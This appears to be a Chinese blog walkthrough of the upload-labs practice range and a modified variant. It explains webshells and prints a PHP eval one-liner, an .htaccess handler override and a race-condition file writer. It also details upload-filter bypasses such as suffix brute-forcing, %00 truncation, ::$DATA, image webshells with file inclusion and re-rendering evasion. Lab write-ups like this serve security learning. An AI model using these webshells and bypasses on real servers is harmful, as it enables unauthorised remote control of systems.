getshell与webshell
-
getshell是指攻击者通过漏洞或其他手段成功获取对目标服务器的控制权限,并在目标系统中植入一个 Shell(命令行界面)工具,以便远程执行命令。这种情况通常发生在系统存在安全漏洞、弱口令或其他安全风险的情况下
-
webshell则是利用文件上传漏洞的的方式获取getshell
-
要利用通过文件上传漏洞获取的getshell需要满足三点:
- 要确认上传的文件能保持存活
- 要知道传到了哪里,得找到接收路径
- 要兼容网页的构成语言,保证上传的上传的文件能被目标主机解析运行
- webshell有以下几种格式:
- php
- asp
- jsp
- perl
- shell script
- C#
- python
- javascript
- 什么是文件上传?文件上传只是一种传输功能,如果将文件从服务器传输至本地叫做下载,那将文件从本地传输至服务器就叫上传。服务器没有做防护措施或防护做得不全面就会出现文件上传漏洞
材料准备
upload靶场下载地址:github.com/c0ny1/uploa…
burpsuite官网:portswigger.net/burp
蚁剑:github.com/AntSwordPro…
蚁剑加载器:github.com/AntSwordPro…
phpinfo()
函数与一句话木马
phpinfo()
函数
phpinfo()
是一个用于显示当前 PHP 配置和环境信息的 PHP 函数。当调用 phpinfo()
时,它将生成一个包含详细 PHP 配置信息的页面,包括但不限于以下内容:
- PHP 版本信息: 显示当前 PHP 解释器的版本。
- 编译器信息: 显示 PHP 编译器的配置选项。
- 模块信息: 显示已加载的扩展模块和其配置。
- 环境信息: 包括服务器信息、系统信息、流程控制器(SAPI)信息等
- PHP 配置参数: 显示各种 PHP 配置参数的当前值
phpinfo()
的主要用途是在开发和调试阶段提供有关 PHP 环境的详细信息。通常,程序员或系统管理员在需要调整服务器配置或排查问题时会使用 phpinfo()
来查看 PHP 的运行时配置
使用 phpinfo()
很简单,只需在 PHP 脚本中调用它,然后将该脚本在浏览器中运行即可:
<?php
phpinfo();
?>
运行结果:
注:
phpinfo()
的输出对于生产环境是不安全的,因为它会泄露有关服务器和 PHP 配置的敏感信息。因此,在生产环境中,请避免使用phpinfo()
或将其仅用于调试目的并在使用后及时移除
一句话木马
<?php @eval($_POST[asd]); ?>
这段代码就是php的一句话木马也就是所谓的这一种webshell,利用@
符号抑制错误报告从而降低攻击者暴露的风险。eval()
函数用于执行$_POST[asd]
。而$_POST[asd]
可以理解为这个木马的payload。asd
则是与工具连接的口令
注:若上传含有
phpinfo()
函数的文件至此靶场,并且文件中的phpinfo()
函数能够执行,那就意味着上传的webshell同样能运行
upload靶场1-10关笔记
注:本靶场存在文件包含漏洞,利用此漏洞只需一张图片马即可全部通关。该漏洞本意只是用于检测上传的图片马能否正常运行。只利用此方法进行通关达不到学习的效果(pass-14到17关除外,这些关必须利用此漏洞)
pass-01
本关卡是前端验证,因此通过火狐浏览器的调试工具删除验证语句即可上传,禁用该页面JavaScript也有同样的效果:
或摁F1禁用页面JavaScript:
现在直接上传一个php文件:
上传成功:
右击图片新页面打开可以即可看到配置信息:
pass-02
本关卡用bp工具抓包修改后缀即可:
首先将info.php文件的后缀改成jpg的图片格式,上传后用bp拦截:
上传成功:
新页面打开验证:
pass-03
此关卡为黑名单验证(后端验证),用第二关的方法会上传失败:
因此可以将抓到的包发送到爆破模块对后缀名进行爆破,看哪种后缀名能在绕过黑名单的情况下被解析:
编写字典:
start attack开始爆破:
对比length值可以发现,php3与无后缀名被成功发送:
无后缀名的文件不可能被靶场解析,所以只可能是php3为后缀,重新上传抓包验证:
php3被成功解析:
pass-04
这一关黑名单加入了更多的后缀限制,但没有限制.htaccess文件上传,所以可以临时将info.jpg的内容改为:
<FilesMatch "info.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这段代码的意思是将info.jpg用php的方式解析,所以这关需要提交两个文件,第一个文件:
第二个文件:
第二个文件不用抓包修改,因为前一个发送的.htaccess文件会配置服务器将info.jpg按照php格式运行,发送后直接新页面打开验证结果:
过关成功
pass-05
这一关经过爆破后发现未对php. .进行限制:
改包后发送结果为:
pass-06
爆破后发现未对大小写进行限制,因此可以发送一个后缀为.Php的文件:
结果:
pass-07
继续抓包发送到爆破模块:
此为百度刨出来的php后缀名字典:
经过爆破后发现多个后缀上传成功:
但实际经过测试发现只有php .与php空格解析成功,其他不知道为什么均不解析:
结果:
pass-08
爆破结果:
验证后发现.php.被解析:
pass-09
经过爆破后发现多个后缀被发送成功,但均不解析:
尝试在字典里加入php::$DATA
windows系统下,如果上传的文件名中test.php::$DATA会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析,因此可以利用这种方式尝试绕过
测试后发现被成功发送:
新页面打开后发现403了:
查找原因:
最后在url栏中发现问题所在:
将url里的::$DATA
剔除,解析成功:
pass-10
爆破并验证后发现php. .可以被解析:
11-16关笔记
pass-11
直接发送爆破模块先用字典滚一遍,通过length值发现所有包都发送成功了,随机打开查看:
但新页面打开后发现什么都没有:
观察url发现是因为靶场将后缀php替换为空字符串导致上传的文件无法被读取:
这种情况下可以使用双写后缀绕过:
因读取文件名及后缀的顺序是从左往右,因此改为pphphp后服务器按从左往右的顺序将其中第一个敏感词php替换为空字符串即:p
hp
,而p
hp
不等于php所以可以通过验证。但解析时会将空格忽略。结果为:
pass-12
本关与13关为白名单检测限制,即:只允许某些格式的文件上传。这两关需要php5.12.17版本。因00截断这种攻击方式在php5.3.4之后被修复,具体操作如下:
-
使用老版本phpstudy挂载本靶场,选择php-5.12.17+Apache
-
关闭配置中的magic_quotes_gpc参数:
12关为GET型00截断,用%00绕过检测
新页面打开后会出现404的错误:
是因为%00虽然能绕过检测,但是同样会被解析,因此将上图指出的地方删除即可解析成功:
pass-13
此关为POST型00截断,绕过方法为:
-
先抓一个包,并对包进行如下修改:
-
找到+号地址,并将2b改成00:
Forward跟进后即可上传成功:
新页面打开后仍然会404,按12关的方法删除php后的字符串即可解析成功:
pass14-16关
这三关都需要利用文件包含漏洞,且打法都相同,所以这里只记录第16关打法,步骤如下:
- 下载notepad++,地址:notepad-plus-plus.org/downloads/
-
选一张符合个人XP的图片,并用notepad++打开:
-
打开后会看到一堆乱码,在乱码最后面写入一句话木马,payload写phpinfo()这个函数也行:
-
保存后直接上传(包都不用抓了):
-
新页面打开这个图片并复制图片路径:
-
在靶场主页面url栏追加输入include.php?file=
-
在=号后面粘贴刚才复制的文件地址:
-
回车打开拼接的url会发现页面中是一堆乱码,因为图片的二进制码无法被php解析:
-
复制此页面url,并用蚁剑进行连接:
-
连接测试成功后尝试添加该地址进行连接:
成功getshell
将图片中的一句话木马换成phpinfo()
函数,得到的结果如下:
在乱码的最后会执行
phpinfo()
这个函数
pass-17
这一关使用之前制作的图片马显示:
换gif做的图片马:
- 虽成功上传但图片没有动(其他关卡传动图是会动的),这是因为17关对图片进行了转码导致gif失去动画效果(二次渲染)
绕过这种保护方式的步骤如下:
-
下载010editor,地址:www.sweetscape.com/download/01…
010editor激活方法参考:blog.aoe.top/notes/437#g… -
将不动的动图右击另存为下载下来:
-
用010editor打开这个gif的原图与被靶场转码的图进行对比:
选择tools里的compare files或者使用快捷键ctrl+m,打开后file A选原图,file B选刚下载的图:
选好后点compare进行对比,对比后发现文件内容长度被裁去很多:
继续查看文件对比结果:
-
对比完成后开始准备改图,首先将原图复制一份,再对比转码图进行修改:
5.保存好后开始上传:
可以看出插入木马的图片稍有瑕疵,但是无伤大雅,右击打开利用文件包含漏洞获取url:
出现乱码表示图片被解析了,打开蚁剑尝试连接:
成功getshell:
17关也可以在被转码的图片上插入木马,因为图片已经被安靶场的方式转码了,所以对比出相同的字节块不会再被转码
pass-18
- 18-20关需要对源码进行审计
18关源码:
从这段代码中可以看出服务器会对上传的文件进行临时保存,保存后对文件进行检测,若检测结果安全则以新文件名保存该文件,然则删除。所以可以利用这个临时保存的时间,来访问这个文件,只要能访问到,里面的内容就会被解析
新建一个php文件,内容写入以下代码:
<?php fputs(fopen('cs.php','w'),'<?php @eval($_POST[asd]); ?>'); ?>
fopen()
和fputs()
是 PHP 中用于文件操作的两个函数;fopen()
用于以w
的形式创建并打开一个名叫cs.php
的文件,w
的意思是write写入。fputs()
函数用于将'<?php @eval($_POST[asd]); ?>'
这个一句话木马以字符串或者说文本的形式写入cs.php。这种攻击方式就叫竞争条件,通过不停的上传,并不停地访问该文件达到将其解析的目的。只要能访问到就意味着会执行里面的两个函数,在服务器内创建一个木马文件
步骤如下:
-
这里写了一个名为
cf.php
的文件,并用bp抓包: -
将抓到的包发送爆破模块,利用爆破模块对服务器不停地发送数据包:
-
将这个包Forward后构造一个访问
cf.php
文件的url,并用bp拦截: -
将这个请求包同样发送到爆破模块:
-
同样选择无payload模式并且无限发送:
-
Forward掉这个请求包,页面会404,很正常因为文件目前还不存在:
-
设置爆破模块内两个包的参数,post包设置频率为30,get包设置频率为20:
-
两个包开始竞争,先让post包攻击:
只要get包这边status code值出现200就说明cs.php被创建 成功,现在打开蚁剑尝试连接cs.php:
getshell:
此靶场待续未完
upload魔改靶场(khbc)
先随便传点啥抓个包看看:
可以看出该靶场并未在前端对文件进行验证,且有mime type验证
Forward后显示:
尝试上传任意正常图片:
仍然显示上传失败:
google寻找mime type 列表,将其编写成字典后尝试对khbc的mime type进行爆破:
导入字典:
经过一轮爆破后发现未对pdf进行限制:
尝试做出修改:
发送成功:
右击打开: